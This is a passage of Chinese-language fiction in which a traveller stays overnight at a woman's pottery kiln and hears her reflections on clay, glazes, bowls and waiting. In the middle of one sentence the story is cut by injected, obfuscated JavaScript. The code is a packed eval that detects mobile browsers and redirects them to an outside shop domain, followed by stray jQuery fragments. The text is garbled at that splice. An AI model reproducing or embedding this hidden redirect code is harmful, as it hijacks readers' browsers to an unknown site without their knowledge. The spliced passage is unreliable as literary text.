女人点了点头，从木架边站起来走到窑口前。窑口添柴的小门开着，里面熊熊的火光把她的脸映得通红。她往里扔了两块松柴，柴在火里炸出细碎的噼啪声。火舌舔着新柴，从柴皮舔到柴心，火焰从橘红变成亮黄。
“我这窑后天出。”她把添柴口的小门关上，火光从门缝里漏出来在地上画了一道细细的红线。“烧了三天三夜了。封窑之前北边的灰还厚着，我怕灰落进釉里烧出来全是脏的。但坯子已经晾够了，不能再等。再等坯子裂。就装了窑。”她走到木架边蹲下继续修下一只坯。“烧出来什么样就什么样吧。”
流栖灯看着架子上那些还没进窑的陶坯。泥色的，安安静静地排着。每一只都不一样——碗的弧度有的敞有的收，罐的肚子有的圆有的扁，壶的嘴有的直有的翘。“都是您一个人做的。”
“一个人。拉坯，修坯，上釉，装窑，烧窑，出窑。我母亲在的时候两个人，她走了就一个人。”女人把转盘蹬起来，手指按在新坯上。泥胎在指下旋转着变薄，泥屑挤出来堆在指缝边。“她教我的时候说，做陶是从土里要东西。土不会给你，你得自己找。手找到了，土就给你了。”
流栖灯从口袋里拿出白麻布。炭条在布面上轻轻移动——木架，陶坯，女人蹲在转盘前的背影，蓝布包着的头。窑口封着砖，火光从门缝漏出来细细的一道红。画完她在旁边写了一行小字：“从土里要东西。手找到了，土就给你。”
女人偏过头看了一眼布上的画。转盘还在转，她的手没停。“你把我的坯子画胖了。这只罐是收腰的，你画成了直筒。”
流栖灯看了看架子上那只罐，又看了看自己的画。确实画胖了。她把罐身改瘦了一笔，改完又太瘦了。女人瞥了一眼。“太瘦了装不了二两米。做罐子不是越瘦越好，是刚好能端起来不费劲，装米装得够一家吃一顿。”流栖灯把罐身改到不胖不瘦。女人看了一眼没再说话，嘴角弯了一下，很短，像窑火从门缝里闪了一下。
傍晚女人封了窑火。今天烧够了，让窑慢慢冷下来，后天早晨开窑。她把添柴口用砖和泥完全封住，又把窑顶的火眼也用瓦片盖了。窑从一座喷着火舌的活物变成了一座安安静静的土包，只有站在旁边才能感觉到从厚厚窑壁里渗出来的热度。
“今晚住这里。窑场有空屋，坯子晾干用的。现在坯子都进窑了，屋子空着。”女人把沾满泥的围裙解下来搭在木架上。
空屋在窑场后面，半截嵌在山壁里。土墙，泥地，顶子是竹竿架着树皮。地上铺着稻草，稻草上铺着草席，席子上放着两床蓝印花布的棉被。墙上挂着一盏油灯，灯盏是陶的，和架上那些坯子同一个手捏出来的。屋里没有窗，但门开着的时候，窑体的余热和松柴的气味从门口涌进来，把整间屋子烘得暖洋洋的。
晚饭是在窑边吃的。女人从屋里端出一锅焖饭，饭是下午就焖在窑口余烬里的，焖了几个时辰。锅盖一掀，米饭的香气和松柴的烟味缠在一起。饭里埋着腊肉和笋干，腊肉是去年冬天腌的，笋干是春天晒的。油脂从腊肉里渗出来把米饭粒裹得亮晶晶的，笋干吸饱了肉汁涨发开来，嚼在嘴里咯吱咯吱响。女人给每个人盛了一-大碗，碗是她自己烧的，青灰色的釉，碗底有一小片没有釉的涩胎露-出赭红色的陶土本色。
流栖灯捧着碗坐在窑边吃。窑体的余热透过裤子烘着腿，碗里的米饭烫嘴，腊肉的咸香和笋干的清香在嘴里拌在一起。她吃得很慢，一粒米一粒米地嚼。“这个碗，底下没上釉。”
女人端着碗蹲在窑口前，筷子在碗里慢慢拨着。“碗底上釉，叠在一起烧的时候会粘住。所以碗底要留涩胎。留了涩胎，碗放在桌上稳，不滑。做碗的人想得到的事。”
流栖灯把碗翻过来看碗底那一小片赭红色的涩胎。手指摸上去粗粗的，沙沙的，不像碗壁那样光滑冰凉。她把碗翻回来继续吃饭。
“做碗的人想得到的事。”她把这句话在心里过了一遍。从帝都到封印，从封印往回走，一路上用了多少只碗。驿站的白瓷碗，贝丝客店的粗陶碗，哨站的铁皮碗，荒原上四个人传着喝水的同一把勺子，茶园的茶农家喝茶的竹节杯，撑船人船头放着的豁了口的水碗。每一只碗都是做碗的人想过的——怎么让人端着不烫手，怎么放在桌上不滑，怎么洗的时候不存水。用碗的人不会想这些。用碗的人只是端着，吃饭，喝汤，放下。做碗的人替她们想了。
吃完饭女人从窑口余烬里扒拉出几个烤红薯。红薯是她秋天收的，储在屋后的地窖里。红薯皮烤得焦黑，用手一捏就裂开了，里面是金红色的瓤，热气从裂口里直直地冒出来。流栖灯接过一个在两只手里倒来倒去，烫得拿不住，掰开了分一半给艾莉西亚。两个人蹲在窑边啃红薯，手指上沾着焦黑的皮屑和黏糊糊的薯瓤。红薯甜得不像粮食，像糖化在了土里又被红薯根一点一点吸上来攒着。
“这个红薯，比苹果还甜。”流栖灯把手指上的薯瓤舔干净。
女人从窑口前站起来拍了拍裤子上的灰。“窖过的红薯都甜。刚挖出来的时候不甜，是淀粉。窖一冬，淀粉转成糖，就甜了。红薯知道冬天长，把淀粉变成糖存着，过冬的时候不会冻坏。”她看着窑体。窑壁的余热在初冬的夜色里微微扭曲着空气。“人也一样。难的时候把力气攒着，等开春了再使出来。”
流栖灯把最后一口红薯塞进嘴里。甜味从舌尖往喉咙里走，一直走到胃里。她把白麻布拿出来，在陶窑这一页添了一笔——窑口余烬里扒拉出来的烤红薯，金红色的瓤冒着热气。旁边画了一只碗，碗底留着一小片没有釉的涩胎。
夜里四个人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17598503|203862||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
并排躺在空屋的稻草铺上。蓝印花布的棉被有阳光和稻草混在一起的气味，是秋天最后一茬太阳晒透的味道。窑体的余热从土墙里渗过来，整间屋子像一个正在慢慢冷却的陶坯。女人睡在隔壁——她在窑场住了大半辈子，有一间自己的屋。但半夜流栖灯醒过来的时候，从门缝里看见窑口那边有一点火光，女人点了一盏小灯，坐在窑前，就是坐着，只是坐着。灯盏里的火苗很小，把她的侧影投在窑壁上，安安静静的。
流栖灯从稻草铺上爬起来，披着被子走到门口。初冬的夜风凉得扎脸。女人坐在窑前的一块石头上，手揣在袖子里，看着封住的窑门。窑已经封了火，但窑体还是热的，从砖缝里透出来的热气在她身周微微扭曲着夜色。
“睡不着？”女人没回头。
“醒了。看见有光，就出来看看。”流栖灯走到她旁边蹲下来。被子裹在身上像一只臃肿的茧。
女人把手从袖子里抽出来，往旁边挪了挪，让出一半石头。流栖灯坐上去。石头被窑体的余热烘得温温的，隔着被子也能感觉到。两个人并排坐在窑前。封住的窑门，添柴口用泥封死了，窑顶的火眼盖着瓦片。整座窑安安静静的，但里面——里面那些陶坯正在从火红色慢慢变暗，釉面在冷却中凝固成该有的颜色。窑知道它们在变成什么，但外面的人不知道。要等到后天早晨开窑。
“每次封了窑，我都睡不着。”女人的声音在夜色里很轻。“依然不是担心烧坏了。烧坏了也就烧坏了，下一窑再烧。是舍不得。坯子在窑里待了三天三夜，我在窑外添了三天三夜的柴。看着火从橘红变成亮黄，从亮黄变成发白。火候到了，封窑。封了窑，坯子在里头自己变。我看不见了。”
流栖灯看着封住的窑门。“您在外面等。它在里面变。”
“嗯。等。”女人把手揣回袖子里。“我母亲说，做陶的人，一半的本事在手上，一半的本事在等上。等土干，等坯晾，等窑烧，等窑冷。等的时候什么都做不了，就是等。但不等，土不会自己变成碗。”
窑体的余热从石头底下传上来，透过被子暖着腿。流栖灯把下巴搁在膝盖上。从帝都出发到现在，她等过很多次。在驿站等队友等了五天，在绿溪镇等艾莉西亚算污染模型等了一天，在荒原上等水滴灌满水囊等了一下午。等的时候觉得时间很慢，现在回头想，那些等的时间里发生了很多事。在驿站等的时候画了第一张麻布，在绿溪镇等的时候认识了老桑妮的孙女，在荒原上等的时候看见了岩羊。
“后天开窑，您最想看哪一件。”
女人想了想。“那只收腰的罐子。你画胖了的那只。”她的嘴角在灯影里弯了一下。“我想看它的釉色。上的是一种新配的釉，铜矿石碾碎了调的。烧得好是枣皮红，烧不好是猪肝色。后天就知道了。”